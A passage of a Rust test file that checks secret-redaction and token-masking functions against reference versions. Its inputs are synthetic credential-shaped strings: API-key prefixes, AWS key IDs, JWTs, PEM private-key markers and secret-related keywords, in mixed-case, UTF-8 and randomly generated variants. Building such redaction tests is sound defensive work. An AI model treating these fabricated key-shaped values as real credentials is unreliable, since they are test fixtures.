3671 "{pem_begin}\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn\n{pem_end} GH_PAT=ghp_{body}\nafter\n"
3672 ),
3673 format!("cert={pem_begin}MIIEvQB{pem_end} api_key={hex40}\n"),
3674 "-----BEGIN CERTIFICATE-----\nMIIc\n-----END CERTIFICATE-----\n".to_string(),
3675 format!("if s.starts_with(\"{pem_begin}\") {{\n return true;\n}}\n"),
3676 format!("aws={aws_akia} and {aws_asia} and {jwt}"),
3677 ];
3678 for prefix in SECRET_TOKEN_PREFIXES
3679 .iter()
3680 .chain(CREDENTIAL_VALUE_PREFIXES)
3681 .chain(BARE_OPAQUE_TOKEN_PREFIXES)
3682 .filter(|p| !matches!(**p, "AKIA" | "ASIA"))
3683 {
3684 cases.push(format!("before {prefix}{body} after"));
3685 cases.push(format!("({prefix}{body})"));
3686 cases.push(format!("{{\"k\":\"{prefix}{body}\"}}"));
3687 cases.push(format!("k={prefix}short"));
3688 }
3689
3690 let atoms: &[&str] = &[
3691 " ",
3692 "\t",
3693 "\n",
3694 "\r\n",
3695 "=",
3696 ":",
3697 "\"",
3698 "'",
3699 "\\\"",
3700 "\\n",
3701 "\\t",
3702 "\\u003c",
3703 "\\",
3704 "{",
3705 "}",
3706 "[",
3707 "]",
3708 ",",
3709 "&",
3710 "?",
3711 ";",
3712 "(",
3713 ")",
3714 "-",
3715 "--",
3716 "***",
3717 "foo",
3718 "bar",
3719 "baz",
3720 "key",
3721 "api",
3722 "API",
3723 "access",
3724 "private",
3725 "api_key",
3726 "APIKey",
3727 "token",
3728 "tokens",
3729 "max_tokens",
3730 "secret",
3731 "password",
3732 "passwd",
3733 "authorization",
3734 "Bearer",
3735 "failed",
3736 "https://example.test/a",
3737 "见",
3738 "乙",
3739 "é",
3740 "sk-",
3741 "sk_",
3742 "pk-",
3743 "ghp_",
3744 "xai-",
3745 "hf_",
3746 "eyJ",
3747 "AKIA",
3748 "ya29.",
3749 "-----BEGIN",
3750 "PRIVATE KEY-----",
3751 "-----END",
3752 "0123456789abcdef0123456789abcdef",
3753 "Z7qX4mNb2Vc9Lk3PwR8t",
3754 "short",
3755 "MIIEpAIBAAKCAQEAz7qX4mNb2Vc9",
3756 ];
3757
3758 let mut rng = Lcg(0x5EED_C0DE_7347_0103);
3759 for _ in 0..1500 {
3760 let count = (rng.next_u64() as usize % 24) + 1;
3761 let mut doc = String::new();
3762 for _ in 0..count {
3763 doc.push_str(rng.pick(atoms));
3764 }
3765 cases.push(doc);
3766 }
3767
3768 for case in &cases {
3769 for policy in [RedactionPolicy::KeyBased, RedactionPolicy::CredentialShaped] {
3770 assert_eq!(
3771 redact_secrets_with(case, policy),
3772 ref_redact_secrets_with(case, policy),
3773 "redact_secrets_with({policy:?}) mismatch on {case:?}"
3774 );
3775 }
3776 assert_eq!(
3777 mask_bare_secret_tokens(case, REDACTED),
3778 ref_mask_bare_secret_tokens(case, REDACTED),
3779 "mask_bare_secret_tokens mismatch on {case:?}"
3780 );
3781 assert_eq!(
3782 contains_bare_secret_token(case),
3783 ref_mask_bare_secret_tokens(case, REDACTED).is_some(),
3784 "contains_bare_secret_token mismatch on {case:?}"
3785 );
3786 }
3787 }
3788
3789 #[test]
3790 fn prefilter_equivalence_on_adversarial_near_miss_utf8_and_mixed_case_inputs() {
3791 let body = "Z7qX4mNb2Vc9Lk3PwR8t";
3792 let hex40 = ["3f9a8c1d2e4b5a6f", "7c8d9e0a1b2c3d4e", "5f6a7b8c"].concat();
3793 let jwt = ["eyJhbGciOiJIUzI1NiJ9", "eyJzdWIiOiIxIn0", "c2lnbmF0dXJl"].join(".");
3794 let aws_akia = ["AKIA", "Z7QX4MNB2VC9LK3P"].concat();
3795 let aws_asia = ["ASIA", "Z7QX4MNB2VC9LK3P"].concat();
3796 let pem_begin = ["-----BEGIN EC ", "PRIVATE KEY-----"].concat();
3797 let pem_end = ["-----END EC ", "PRIVATE KEY-----"].concat();
3798
3799 let mut cases: Vec<String> = vec![
3800 format!("ToKeN={hex40}"),
3801 format!("sEcReT: {hex40}"),
3802 format!("PaSsWoRd={hex40}"),
3803 format!("PaSsWd = {hex40}"),
3804 format!("AuThOrIzAtIoN: Bearer {hex40}"),
3805 format!("ApI_kEy={hex40}"),
3806 format!("aPiKeY={hex40}"),
3807 format!("AcCeSs_KeY={hex40}"),
3808 format!("PrIvAtE_kEy={hex40}"),
3809 format!("ApiKey={hex40}"),
3810 format!("AccessKey={hex40}"),
3811 format!("PrivateKey={hex40}"),
3812 format!("apiékey={hex40}"),
3813 format!("api🚀key={hex40}"),
3814 format!("access中key={hex40}"),
3815 format!("private│key={hex40}"),
3816 format!("api1key={hex40}"),
3817 format!("api_v2_key={hex40}"),
3818 format!("api\nkey={hex40}"),
3819 format!("access\nkey={hex40}"),
3820 format!("private\nkey={hex40}"),
3821 "just prose with token and secret and password and authorization without punctuation"
3822 .to_string(),
3823 "just prose with api_key and access_key and private_key without punctuation"
3824 .to_string(),
3825 format!("sk{body} SK-{body} sk+{body} pk{body} PK-{body}"),
3826 format!("ghp{body} ghx_{body} gsk{body} npm{body} hf{body}"),
3827 format!("AKI{body} AIz{body} ya29{body} eyj{body} ey{body}"),
3828 format!(
3829 "-----BEGI{body} -----BEGIN CERTIFICATE-----\n{hex40}\n-----END CERTIFICATE-----"
3830 ),
3831 format!("toke={hex40} secre={hex40} pass={hex40} authorizatio={hex40}"),
3832 format!("🚀sk-{body}🚀"),
3833 format!("éghp_{body}é"),
3834 format!("中{aws_akia}中{aws_asia}中"),
3835 format!("🚀{jwt}🚀"),
3836 format!("prefix-sk-{body}-ghp_{body}-suffix"),
3837 format!("a=1\nb=2\nc=sk-{body}\nd=4"),
3838 format!("a=1\r\nAPI_KEY={hex40}\r\nc=3"),
3839 format!("🚀{pem_begin}\n{hex40}\n{pem_end}🚀 token={hex40}"),
3840 format!(
3841 "checksum = \"{hex40}{hex40}\"\nname = \"serde_json\"\nversion = \"1.0.154\"\n"
3842 ),
3843 format!(
3844 "{{\"dependencies\":{{\"tokio\":\"1.45.0\",\"regex\":\"1.13.1\"}},\"checksum\":\"{hex40}\"}}"
3845 ),
3846 ];
3847
3848 for prefix in SECRET_TOKEN_PREFIXES
3849 .iter()
3850 .chain(CREDENTIAL_VALUE_PREFIXES)
3851 .chain(BARE_OPAQUE_TOKEN_PREFIXES)
3852 .filter(|p| !matches!(**p, "AKIA" | "ASIA"))
3853 {
3854 cases.push(format!("🚀{prefix}{body}🚀"));
3855 cases.push(format!("é{prefix}{body}中"));
3856 cases.push(format!("\\n{prefix}{body}\\t{prefix}{body}"));
3857 cases.push(format!("\\u003c{prefix}{body}\\u003e"));
3858 cases.push(format!("clean line\n{prefix}{body}"));
3859 cases.push(format!("{}={hex40}", &prefix[..prefix.len() - 1]));
3860 }
3861
3862 for case in &cases {
3863 for policy in [RedactionPolicy::KeyBased, RedactionPolicy::CredentialShaped] {
3864 assert_eq!(
3865 redact_secrets_with(case, policy),
3866 ref_redact_secrets_with(case, policy),
3867 "redact_secrets_with({policy:?}) mismatch on {case:?}"
3868 );
3869 }
3870 assert_eq!(
3871 mask_bare_secret_tokens(case, REDACTED),
3872 ref_mask_bare_secret_tokens(case, REDACTED),
3873 "mask_bare_secret_tokens mismatch on {case:?}"
3874 );
3875 assert_eq!(
3876 contains_bare_secret_token(case),
3877 ref_mask_bare_secret_tokens(case, REDACTED).is_some(),
3878 "contains_bare_secret_token mismatch on {case:?}"
3879 );
3880 }
3881 }
3882 }
3883
3883 lines RUST